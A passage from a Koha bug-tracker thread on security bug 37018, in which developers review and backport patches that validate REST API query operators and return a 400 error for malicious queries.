* 500 stands for an internal server error, and this case is the opposite: a user inpur not being correct

So the only solution, which Jonathan says shouldn't be a blocker, is some sort of short-circuit that allows us to properly return a 400 without touching the controllers. And it needs to be tested.

In REST/V1/Auth.pm we already 'short-circuit' before reaching the controllers, but in the case of $objects->search, we really want it IN the controllers.
Comment 41 Tomás Cohen Arazi 2024-07-05 20:21:37 UTC
(In reply to Jonathan Druart from comment #36)
> But then we should not try to render a 400, it's confusing IMO. I understand
> why it's happening

What do you think of making `$c->unhandled_exception` handle this specific exception? That way we don't need to touch any controllers, by default.
Comment 42 Tomás Cohen Arazi 2024-07-06 14:26:44 UTC
Hi all. I'm trying to add my 2 cents here. And willing to code when back at the desk.

* I agree this needs higher level tests to start with. I'm submitting those now.

* There shouldn't be patches changing things back and forth. If this is NSO, those should be squashed to ease understanding what's being done and why.

* Patch descriptions are key for everyone to understand what's going on. There's lack of those, and test plans. I guess we are on an exploration stage on this bug, but it is still worth investing time on describing things. It's a good exercise that makes you realize things. Always.

* If we are still exploring, then this is either ASSIGNED or IN DISCUSSION, not NSO.

* If a try/catch structure is added or removed, it should be clear why; or why a `return` is removed from the codebase. This feels a bit random to me. I assume it makes sense and is correct (haven't checked in deep), but (probably because of the lack of explanation) I don't really get it. Those are big changes in the execution path and are not tested either.

* I think the bad parameters exception should be thrown and propagated up to the right level (i.e. no need to catch it low-level) and handled correctly. If _validate_operator() explodes, I don't think it should be wrapped in a try/catch. The only reason to do it, is if we expect more than one exception type and want to handle each manually. The use of the `catch` there is probably going to hide any other exception as we are only testing for BadParameter, else nothing:

```perl
        } catch {
                if ( blessed $_ && $_->isa('Koha::Exceptions::BadParameter') ) {
                    Koha::Exceptions::BadParameter->throw( $_->error );
                }
            };
        }
```

* It is weird to catch a BadParameter exception to just throw a new BadParameter exception. That's what `$_->rethrow()` is designed for. But as I said, I don't think we should be using the try/catch at all.

* We should probably add a REST API specific exception class and handle it on a centralized place. A temporary place to do it, for the purpose of mitigating the security bug quick, could be just adding it to the `unhandled_exception` helper. All controllers *should* call it, and we can make it quickly. And then file a bug to move it somewhere else.

* A bad request needs to return a 400.
Comment 43 Tomás Cohen Arazi 2024-07-08 11:57:03 UTC Comment hidden (obsolete)
Comment 44 Tomás Cohen Arazi 2024-07-08 11:57:07 UTC Comment hidden (obsolete)
Comment 45 Tomás Cohen Arazi 2024-07-08 11:57:10 UTC Comment hidden (obsolete)
Comment 46 Tomás Cohen Arazi 2024-07-08 11:57:13 UTC Comment hidden (obsolete)
Comment 47 Tomás Cohen Arazi 2024-07-08 11:57:16 UTC Comment hidden (obsolete)
Comment 48 Tomás Cohen Arazi 2024-07-08 11:57:20 UTC Comment hidden (obsolete)
Comment 49 Tomás Cohen Arazi 2024-07-08 19:44:36 UTC
Created attachment 168616 [details] [review]
Bug 37018: Regression tests

This patch adds regression tests. With the current codebase, the
malicious query returns a 200. It should be caught and a 400 needs to be
returned.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ prove t/db_dependent/api/v1/query.t
=> FAIL: It returns a 200
3. Once the rest of the patches are ready, repeat 2
=> SUCCESS: It returns a 400

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 50 Tomás Cohen Arazi 2024-07-08 19:44:40 UTC
Created attachment 168617 [details] [review]
Bug 37018: Unit tests
Comment 51 Tomás Cohen Arazi 2024-07-08 19:44:43 UTC
Created attachment 168618 [details] [review]
Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 52 Tomás Cohen Arazi 2024-07-08 19:44:47 UTC
Created attachment 168619 [details] [review]
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm
Comment 53 Tomás Cohen Arazi 2024-07-08 19:44:50 UTC
Created attachment 168620 [details] [review]
Bug 37018: Use validation in search_rs helper
Comment 54 Tomás Cohen Arazi 2024-07-08 19:44:54 UTC
Created attachment 168621 [details] [review]
Bug 37018: (follow-up) adding some allowed operators
Comment 55 Tomás Cohen Arazi 2024-07-08 19:50:52 UTC
Created attachment 168622 [details] [review]
Bug 37018: Handle exception in unhandled_exception() helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 56 Tomás Cohen Arazi 2024-07-08 19:54:44 UTC
Hi all.

This is how I think this should look like. You will notice the last patch makes the regression tests expect a 500.

I took this shortcut for backportability reasons. Making it return a 400 would require adding the 400 response definition in every GET in the spec, which will be really hard to backport.

I have written `xt/api.t` tests for this anyway and started the work of adding the 400 on each route, which I will submit in a follow-up report. I think it is good enough for applying to production sites.

Happy to roll-back and reintroduce it if we agree on that.
Comment 57 Tomás Cohen Arazi 2024-07-08 19:58:20 UTC
Created attachment 168624 [details] [review]
Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 58 Tomás Cohen Arazi 2024-07-08 20:21:47 UTC
Created attachment 168626 [details] [review]
[POC] Bug 37018: Add 400 to all GET routes
Comment 59 Tomás Cohen Arazi 2024-07-08 20:23:15 UTC
Ok, I've added what I had on my branch so others can look and give their opinion/tell if it is worth. We would do that for all GET routes. That way we can make the helper return a 400 consistently.
Comment 60 Tomás Cohen Arazi 2024-07-08 20:32:38 UTC
Created attachment 168627 [details] [review]
Bug 37018: Regression tests

This patch adds regression tests. With the current codebase, the
malicious query returns a 200. It should be caught and a 400 needs to be
returned.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ prove t/db_dependent/api/v1/query.t
=> FAIL: It returns a 200
3. Once the rest of the patches are ready, repeat 2
=> SUCCESS: It returns a 400

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 61 Tomás Cohen Arazi 2024-07-08 20:32:42 UTC
Created attachment 168628 [details] [review]
Bug 37018: Unit tests
Comment 62 Tomás Cohen Arazi 2024-07-08 20:32:46 UTC
Created attachment 168629 [details] [review]
Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 63 Tomás Cohen Arazi 2024-07-08 20:32:49 UTC
Created attachment 168630 [details] [review]
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm
Comment 64 Tomás Cohen Arazi 2024-07-08 20:32:53 UTC
Created attachment 168631 [details] [review]
Bug 37018: Use validation in search_rs helper
Comment 65 Tomás Cohen Arazi 2024-07-08 20:32:57 UTC
Created attachment 168632 [details] [review]
Bug 37018: (follow-up) adding some allowed operators
Comment 66 Tomás Cohen Arazi 2024-07-08 20:33:01 UTC
Created attachment 168633 [details] [review]
Bug 37018: Handle exception in unhandled_exception() helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 67 Tomás Cohen Arazi 2024-07-08 20:33:04 UTC
Created attachment 168634 [details] [review]
Bug 37018: Silence useless warning
Comment 68 Tomás Cohen Arazi 2024-07-08 20:33:08 UTC
Created attachment 168635 [details] [review]
[POC] Bug 37018: Add 400 to all GET routes
Comment 69 Jonathan Druart 2024-07-09 13:40:22 UTC
(In reply to Tomás Cohen Arazi from comment #65)
> Created attachment 168632 [details] [review] [review]
> Bug 37018: (follow-up) adding some allowed operators

How can we be exhaustive here? Can we have a list somewhere?

Just having a looking at /usr/share/perl5/SQL/Abstract/Classic.pm and it seems that we are still missing some.

between, not_between, rlike, not_rlike, <>, ... And how many more?

nest, ident, value? I don't know about them but they appear there.
Comment 70 Jonathan Druart 2024-07-09 13:46:17 UTC
I don't think the error in the API is correct:

-      400:
-        description: Bad parameter
+      "400":
+        description: |
+          Bad request. Possible `error_code` attribute values:
+
+            * `invalid_query`

The existing one was too wide, but here you are very precise and so wrong in some cases.

At least this one is not correct:
api/v1/swagger/paths/preservation_trains.yaml
387 "/preservation/trains/{train_id}/items/batch":
388   post:
389     x-mojo-to: Preservation::Trains#add_items

Koha/REST/V1/Preservation/Trains.pm
255 sub add_items {
274             if ( $_->isa('Koha::Exceptions::Preservation::MissingSettings') ) {
277                     openapi => { error => "MissingSettings", parameter => $_->parameter }

This one should be replaced carefully and reviewed one by one, and it will be a nightmare to backport. I would suggest to keep the generic "bad request" for now, then improve on a follow-up bug.
Comment 71 Jonathan Druart 2024-07-09 13:56:29 UTC
(In reply to Tomás Cohen Arazi from comment #56)
> I have written `xt/api.t` tests for this anyway and started the work of
> adding the 400 on each route, which I will submit in a follow-up report. I
> think it is good enough for applying to production sites.

The new test in xt/api.t is failing, should it be removed from this bug then?
Comment 72 Tomás Cohen Arazi 2024-07-09 14:22:56 UTC
Created attachment 168654 [details] [review]
Bug 37018: Regression tests

This patch adds regression tests. With the current codebase, the
malicious query returns a 200. It should be caught and a 400 needs to be
returned.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ prove t/db_dependent/api/v1/query.t
=> FAIL: It returns a 200
3. Once the rest of the patches are ready, repeat 2
=> SUCCESS: It returns a 400

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 73 Tomás Cohen Arazi 2024-07-09 14:23:00 UTC
Created attachment 168655 [details] [review]
Bug 37018: Unit tests

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 74 Tomás Cohen Arazi 2024-07-09 14:23:03 UTC
Created attachment 168656 [details] [review]
Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 75 Tomás Cohen Arazi 2024-07-09 14:23:06 UTC
Created attachment 168657 [details] [review]
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 76 Tomás Cohen Arazi 2024-07-09 14:23:10 UTC
Created attachment 168658 [details] [review]
Bug 37018: Use validation in search_rs helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 77 Tomás Cohen Arazi 2024-07-09 14:23:13 UTC
Created attachment 168659 [details] [review]
Bug 37018: (follow-up) adding some allowed operators

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 78 Tomás Cohen Arazi 2024-07-09 14:23:17 UTC
Created attachment 168660 [details] [review]
Bug 37018: Handle exception in unhandled_exception() helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 79 Tomás Cohen Arazi 2024-07-09 14:23:20 UTC
Created attachment 168661 [details] [review]
Bug 37018: Silence useless warning

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 80 Tomás Cohen Arazi 2024-07-09 14:23:23 UTC
Created attachment 168662 [details] [review]
Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Comment 81 Tomás Cohen Arazi 2024-07-09 14:25:08 UTC
(In reply to Jonathan Druart from comment #71)
> (In reply to Tomás Cohen Arazi from comment #56)
> > I have written `xt/api.t` tests for this anyway and started the work of
> > adding the 400 on each route, which I will submit in a follow-up report. I
> > think it is good enough for applying to production sites.
> 
> The new test in xt/api.t is failing, should it be removed from this bug then?

I didn't mention I was working on fixing them all. It passes now.
Comment 82 Jonathan Druart 2024-07-09 14:51:05 UTC
What about comment 69?
Comment 83 Tomás Cohen Arazi 2024-07-09 14:57:38 UTC
(In reply to Jonathan Druart from comment #82)
> What about comment 69?

Good question. Martin wrote the initial patch and Hammat followed up. Maybe they can give their opinions.

I feel like the list is *good enough* [1] and we can safely accept bug reports asking for more in the future. I'd like to note that the API docs only mention:

* `>`
* `<`
* `>=`
* `<=`
* `-like`
* `-not_like`

It is remarkably missing `-or` and `-not`. This conversation could happen on its own bug, though.

[1] Meaning the ones I've ever used.
Comment 84 Martin Renvoize 2024-07-10 08:40:48 UTC
Created attachment 168695 [details] [review]
Bug 37018: Regression tests

This patch adds regression tests. With the current codebase, the
malicious query returns a 200. It should be caught and a 400 needs to be
returned.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ prove t/db_dependent/api/v1/query.t
=> FAIL: It returns a 200
3. Once the rest of the patches are ready, repeat 2
=> SUCCESS: It returns a 400

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 85 Martin Renvoize 2024-07-10 08:40:51 UTC
Created attachment 168696 [details] [review]
Bug 37018: Unit tests

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 86 Martin Renvoize 2024-07-10 08:40:55 UTC
Created attachment 168697 [details] [review]
Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 87 Martin Renvoize 2024-07-10 08:40:58 UTC
Created attachment 168698 [details] [review]
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 88 Martin Renvoize 2024-07-10 08:41:01 UTC
Created attachment 168699 [details] [review]
Bug 37018: Use validation in search_rs helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 89 Martin Renvoize 2024-07-10 08:41:04 UTC
Created attachment 168700 [details] [review]
Bug 37018: (follow-up) adding some allowed operators

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 90 Martin Renvoize 2024-07-10 08:41:07 UTC
Created attachment 168701 [details] [review]
Bug 37018: Handle exception in unhandled_exception() helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 91 Martin Renvoize 2024-07-10 08:41:11 UTC
Created attachment 168702 [details] [review]
Bug 37018: Silence useless warning

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 92 Martin Renvoize 2024-07-10 08:41:15 UTC
Created attachment 168703 [details] [review]
Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 93 Martin Renvoize 2024-07-10 08:41:19 UTC
Created attachment 168704 [details] [review]
Bug 37018: Clarify operators

This patch clarifies the list of operators both in the validate routine
and in the swagger descrption block where we document this feature for
the end user.
Comment 94 Martin Renvoize 2024-07-10 08:47:13 UTC
This is all working great now, I'm really happy with the progress since I started it moving.

It's good to see the consistency improvement on the spec files, and I've run all the tests under /api/* to confirm we've not broken anything.

I've added a further follow-up to clarify the list of supported operators both in the validate routine and the swagger description block where we document the behaviours for consumers.

I am a little confused as to where the '-regexp' operator actually comes from.. we're using it in Koha code and it appears to work.. but I can't for the life of me find it defined anywhere in DBIx::*, SQL::Abstract or Koha code.  I have tested that it will NOT call regexp_replace in MySQL/MariaDB so I'm happy that it's not a security issue in itself as it's only allowing fro comparison and not replace.

Lets get a final QA once over from an independent party.. Jonathan or Nick perhaps and call this done :)
Comment 95 Jonathan Druart 2024-07-10 09:29:55 UTC
(In reply to Martin Renvoize from comment #94)

Same question, what's your opinion on comment 69?
Comment 96 Tomás Cohen Arazi 2024-07-10 15:48:02 UTC
(In reply to Jonathan Druart from comment #95)
> (In reply to Martin Renvoize from comment #94)
> 
> Same question, what's your opinion on comment 69?

Is it worth undoing those API docs for a security release? That's the question when everyone lacks time always.

I vote for pushing as-is but filing another bug to deal with the 'description to narrow' problem. Especially when the highlighted ones are not strictly the same as the introduced description refers to `error_code` whereas the mentioned case returns a different data structure (that doesn't include `error_code` itself and should be revisited).

This highlights he haven't done good QA, but now we spotted it, we can keep adding tests and guidelines to streamline it. As this patches do.
Comment 97 Tomás Cohen Arazi 2024-07-10 17:01:09 UTC
(In reply to Tomás Cohen Arazi from comment #96)
> (In reply to Jonathan Druart from comment #95)
> > (In reply to Martin Renvoize from comment #94)
> > 
> > Same question, what's your opinion on comment 69?

13:58 $ git grep error_code
Plugin/Exceptions.pm:                    error_code => 'internal_server_error',
Plugin/Responses.pm:                    error_code => 'not_found',
V1/Auth/Identity/Provider/Domains.pm:                    error_code => 'not_found',
V1/Auth/Identity/Providers.pm:                        error_code => 'missing_parameter'
V1/Auth/Identity/Providers.pm:                        error_code => 'missing_parameter'
V1/Authorities.pm:                    error_code => 'duplicate',
V1/Checkouts.pm:                error_code => 'FEATURE_DISABLED'
V1/Checkouts.pm:                    error_code => 'ITEM_NOT_FOUND',
V1/Checkouts.pm:                    error_code => 'PATRON_NOT_FOUND',
V1/Holds.pm:        my $error_code =
V1/Holds.pm:            openapi => { error => 'Cannot change pickup location', error_code => $error_code }
V1/Holds.pm:        ) if $error_code;
V1/Items.pm:                        error_code => $errors->{ $code }->{code},
V1/Items.pm:                    error_code => 'already_bundled',
V1/Items.pm:                    error_code => 'bundle_checked_out'
V1/Items.pm:                    error_code => 'checked_out'
V1/Items.pm:                    error_code => 'failed_checkin'
V1/Items.pm:                    error_code => 'reserved'
V1/Items.pm:                    error_code => 'failed_nesting'
V1/Items.pm:                    error_code => 'bundle_checked_out'
V1/Patrons.pm:                    openapi => { error => "$_", error_code => 'missing_mandatory_attribute' }
V1/Patrons.pm:                    openapi => { error => "$_", error_code => 'invalid_attribute_type' }
V1/Patrons.pm:                    openapi => { error => "$_", error_code => 'non_repeatable_attribute' }
V1/Patrons.pm:                    openapi => { error => "$_", error_code => 'attribute_not_unique' }
V1/Patrons.pm:                openapi => { error => "$_", error_code => 'invalid_attribute_type' }
V1/Patrons.pm:                openapi => { error => "$_", error_code => 'attribute_not_unique' }
V1/Patrons.pm:                openapi => { error => "$_", error_code => 'non_repeatable_attribute' }
V1/Patrons.pm:                openapi => { error => "$_", error_code => 'missing_mandatory_attribute' }
V1/Patrons.pm:                        error_code => $error->message,
V1/Suggestions.pm:                                error_code  => 'max_total_reached'
V1/Suggestions.pm:                            error_code  => 'max_pending_reached'
Comment 98 Martin Renvoize 2024-07-11 10:08:17 UTC
(In reply to Jonathan Druart from comment #95)
> (In reply to Martin Renvoize from comment #94)
> 
> Same question, what's your opinion on comment 69?

Comment #94 is my response to comment #69. I refined the list and tried to clean up duplicates (like -like or both in use in the codebase I believe so I didn't remove `like`).. -regexp is just a synonym for `rlike`.. I tried to document all the options.

Basically.. see the final commit.
Comment 99 Jonathan Druart 2024-07-11 11:00:53 UTC
Created attachment 168786 [details] [review]
Bug 37018: Regression tests

This patch adds regression tests. With the current codebase, the
malicious query returns a 200. It should be caught and a 400 needs to be
returned.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ prove t/db_dependent/api/v1/query.t
=> FAIL: It returns a 200
3. Once the rest of the patches are ready, repeat 2
=> SUCCESS: It returns a 400

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 100 Jonathan Druart 2024-07-11 11:00:57 UTC
Created attachment 168787 [details] [review]
Bug 37018: Unit tests

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 101 Jonathan Druart 2024-07-11 11:01:00 UTC
Created attachment 168788 [details] [review]
Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 102 Jonathan Druart 2024-07-11 11:01:04 UTC
Created attachment 168789 [details] [review]
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 103 Jonathan Druart 2024-07-11 11:01:07 UTC
Created attachment 168790 [details] [review]
Bug 37018: Use validation in search_rs helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 104 Jonathan Druart 2024-07-11 11:01:11 UTC
Created attachment 168791 [details] [review]
Bug 37018: (follow-up) adding some allowed operators

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 105 Jonathan Druart 2024-07-11 11:01:14 UTC
Created attachment 168792 [details] [review]
Bug 37018: Handle exception in unhandled_exception() helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 106 Jonathan Druart 2024-07-11 11:01:17 UTC
Created attachment 168793 [details] [review]
Bug 37018: Silence useless warning

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 107 Jonathan Druart 2024-07-11 11:01:21 UTC
Created attachment 168794 [details] [review]
Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 108 Jonathan Druart 2024-07-11 11:01:25 UTC
Created attachment 168795 [details] [review]
Bug 37018: Clarify operators

This patch clarifies the list of operators both in the validate routine
and in the swagger descrption block where we document this feature for
the end user.

JD amended patch: tidy

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 109 Jonathan Druart 2024-07-11 11:03:09 UTC
I think we need to highlight this change in the release notes for the stable branches.

Also I am expecting the "Add 400 response def to all routes" patch to be hard to backport. Did you write a script or made all the changes manually?
Comment 110 Jonathan Druart 2024-07-11 11:04:16 UTC
(In reply to Jonathan Druart from comment #109)
> Also I am expecting the "Add 400 response def to all routes" patch to be
> hard to backport. Did you write a script or made all the changes manually?

If not we should drop it and provide a version of the patches for the stable branches.
Comment 111 wainuiwitikapark 2024-07-18 06:39:57 UTC
(In reply to Jonathan Druart from comment #110)
> (In reply to Jonathan Druart from comment #109)
> > Also I am expecting the "Add 400 response def to all routes" patch to be
> > hard to backport. Did you write a script or made all the changes manually?
> 
> If not we should drop it and provide a version of the patches for the stable
> branches.

I was able to backport the following patches to 23.05:

82ad3cfcfa4 Bug 37018: Silence useless warning
5d184991b6e Bug 37018: Handle exception in unhandled_exception() helper
5be3daa8372 Bug 37018: (follow-up) adding some allowed operators
3296b9252a3 Bug 37018: Use validation in search_rs helper
aac42383bbf Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm
b6831db54e3 Bug 37018: Add Koha::Exceptions::REST
16351660d23 Bug 37018: Unit tests
ca546d965e3 Bug 37018: Regression tests

Then the next one looked very difficult to do with all the conflicts
Comment 112 Tomás Cohen Arazi 2024-07-18 13:30:28 UTC
(In reply to Jonathan Druart from comment #110)
> (In reply to Jonathan Druart from comment #109)
> > Also I am expecting the "Add 400 response def to all routes" patch to be
> > hard to backport. Did you write a script or made all the changes manually?
> 
> If not we should drop it and provide a version of the patches for the stable
> branches.

I will provide the version-specific patch for the spec today. Please wait until I finish it.
Comment 113 Tomás Cohen Arazi 2024-07-22 15:05:49 UTC
Created attachment 169309 [details] [review]
[24.05.x] Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 114 Fridolin Somers 2024-07-22 15:17:07 UTC
(In reply to Tomás Cohen Arazi from comment #112)
> (In reply to Jonathan Druart from comment #110)
> > (In reply to Jonathan Druart from comment #109)
> > > Also I am expecting the "Add 400 response def to all routes" patch to be
> > > hard to backport. Did you write a script or made all the changes manually?
> > 
> > If not we should drop it and provide a version of the patches for the stable
> > branches.
> 
> I will provide the version-specific patch for the spec today. Please wait
> until I finish it.

I've tried on 23.11.x but really to much conflicts.
Thanks a lot ;)
Comment 115 Tomás Cohen Arazi 2024-07-22 18:36:06 UTC
Created attachment 169337 [details] [review]
[23.11.x] Bug 37018: Regression tests

This patch adds regression tests. With the current codebase, the
malicious query returns a 200. It should be caught and a 400 needs to be
returned.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ prove t/db_dependent/api/v1/query.t
=> FAIL: It returns a 200
3. Once the rest of the patches are ready, repeat 2
=> SUCCESS: It returns a 400

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 116 Tomás Cohen Arazi 2024-07-22 18:36:10 UTC
Created attachment 169338 [details] [review]
[23.11.x] Bug 37018: Unit tests

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 117 Tomás Cohen Arazi 2024-07-22 18:36:14 UTC
Created attachment 169339 [details] [review]
[23.11.x] Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 118 Tomás Cohen Arazi 2024-07-22 18:36:18 UTC
Created attachment 169340 [details] [review]
[23.11.x] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 119 Tomás Cohen Arazi 2024-07-22 18:36:22 UTC
Created attachment 169341 [details] [review]
[23.11.x] Bug 37018: Use validation in search_rs helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 120 Tomás Cohen Arazi 2024-07-22 18:36:26 UTC
Created attachment 169342 [details] [review]
[23.11.x] Bug 37018: (follow-up) adding some allowed operators

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 121 Tomás Cohen Arazi 2024-07-22 18:36:30 UTC
Created attachment 169343 [details] [review]
[23.11.x] Bug 37018: Handle exception in unhandled_exception() helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 122 Tomás Cohen Arazi 2024-07-22 18:36:33 UTC
Created attachment 169344 [details] [review]
[23.11.x] Bug 37018: Silence useless warning

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 123 Tomás Cohen Arazi 2024-07-22 18:36:37 UTC
Created attachment 169345 [details] [review]
[23.11.x] Bug 37018: Clarify operators

This patch clarifies the list of operators both in the validate routine
and in the swagger descrption block where we document this feature for
the end user.
